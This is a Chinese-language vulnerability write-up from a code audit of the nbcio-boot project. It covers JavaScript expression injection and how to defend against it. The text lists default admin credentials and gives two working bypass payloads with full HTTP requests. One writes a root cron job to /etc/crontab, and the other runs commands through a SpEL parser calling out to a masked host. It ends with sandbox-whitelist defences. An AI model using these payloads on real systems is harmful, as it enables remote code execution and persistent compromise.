nbcio-boot代码审计之JS注入攻守道
字数 1264 2025-08-22 12:23:41
nbcio-boot代码审计之JS注入攻守道 - 漏洞分析与防御策略
一、项目基本信息
- 项目地址: https://gitee.com/nbacheng/nbcio-boot.git
- 默认凭证: admin/123456
二、漏洞概述
该系统存在JavaScript表达式注入漏洞,攻击者可通过构造特殊POC绕过现有防御机制,实现任意代码执行。
三、漏洞分析
1. 初始漏洞
初始版本存在直接通过JavaScript调用Java类执行系统命令的能力。
2. 初始修复措施
系统进行了第一次修复,主要措施包括:
- 对
java.lang.Runtime等关键类实施黑名单过滤 - 在返回的engine容器中排除这些危险类
修复代码位置:
https://gitee.com/nbacheng/nbcio-boot/blob/master/nbcio-module-estar/src/main/java/com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java
3. 漏洞绕过技术
方法一:文件写入触发命令执行
POC:
var File=Java.type("java.io.File");
var file=new File("/etc/crontab");
var FileWriter=Java.type("java.io.FileWriter");
var fw=new FileWriter(file);
var BufferedWriter=Java.type("java.io.BufferedWriter");
var bw=new BufferedWriter(fw);
var str="* * * * * root ping p5.*****.top";
bw.write(str);bw.flush();bw.close();
攻击原理:
- 通过JavaScript调用Java文件操作类
- 向
/etc/crontab写入定时任务 - 定时任务执行攻击者指定的命令
请求示例:
POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: 192.168.64.131:8081
Content-Type: application/json;charset=UTF-8
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMxMzU3MDAsInVzZXJuYW1lIjoiYWRtaW4ifQ.t5je51OW1Q40U-8d0HudQCXQc-WXQbP7o9cmvKjsO3Y
{"sourceCode":"mysql","dynSentence":"select * from bs_report_barstack","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"var File=Java.type(\"java.io.File\");var file=new File(\"/etc/crontab\");var FileWriter=Java.type(\"java.io.FileWriter\");var fw=new FileWriter(file);var BufferedWriter=Java.type(\"java.io.BufferedWriter\");var bw=new BufferedWriter(fw);var str=\"* * * * * root ping p1.*****.top\\n\";bw.write(str);bw.flush();bw.close();"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"sql"}
方法二:通过SPEL表达式间接执行命令
POC:
var A=Java.type("org.springframework.expression.spel.standard.SpelExpressionParser");
var B=new A;
var C=B.parseExpression("T(java.lang.Runtime).getRuntime().exec('*****')");
var D=C.getValue();
攻击原理:
- 调用Spring框架的SpelExpressionParser
- 通过SPEL表达式间接调用Runtime执行命令
- 绕过对JavaScript引擎的直接限制
请求示例:
POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: 192.168.64.131:8081
Content-Type: application/json;charset=UTF-8
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMxMzU3MDAsInVzZXJuYW1lIjoiYWRtaW4ifQ.t5je51OW1Q40U-8d0HudQCXQc-WXQbP7o9cmvKjsO3Y
{"sourceCode":"mysql","dynSentence":"select * from bs_report_barstack","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"var A=Java.type(\"org.springframework.expression.spel.standard.SpelExpressionParser\");var B=new A;var C=B.parseExpression(\"T(java.lang.Runtime).getRuntime().exec('ping p5.*****.top')\");var D=C.getValue();"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"sql"}
四、防御策略
1. 现有防御的问题
- 采用黑名单机制,防御面有限
- 无法防范未知的攻击向量
- 容易被间接调用方式绕过
2. 推荐防御方案
使用NashornSandbox沙箱实现白名单防御:
- 配置白名单:只允许特定的Java类和操作
- 限制资源访问:控制文件系统、网络等敏感操作
- 防止死循环:设置执行超时限制
参考资源:
- https://blog.csdn.net/gitblog_00274/article/details/142838510
- https://gitcode.com/gh_mirrors/de/delight-nashorn-sandbox/
3. 实施效果
- 调用非白名单类时会报错
- 常规JavaScript语句可正常执行
- 有效阻断命令执行等危险操作
五、总结
- 黑名单防御机制存在固有缺陷,应采用白名单策略
- JavaScript引擎与Java交互存在多种潜在攻击面
- 沙箱环境是解决此类问题的有效方案
- 防御措施需考虑多种攻击场景,包括但不限于:
- 直接命令执行
- 间接文件操作
- 框架特性滥用
- 资源耗尽攻击
六、扩展思考
-
其他可能的攻击向量:
- 通过反射机制绕过限制
- 利用其他Java内置类实现攻击
- 组合多种技术实现更隐蔽的攻击
-
防御措施的完善方向:
- 结合静态分析和动态沙箱
- 实施细粒度的权限控制
- 增加行为监控和审计日志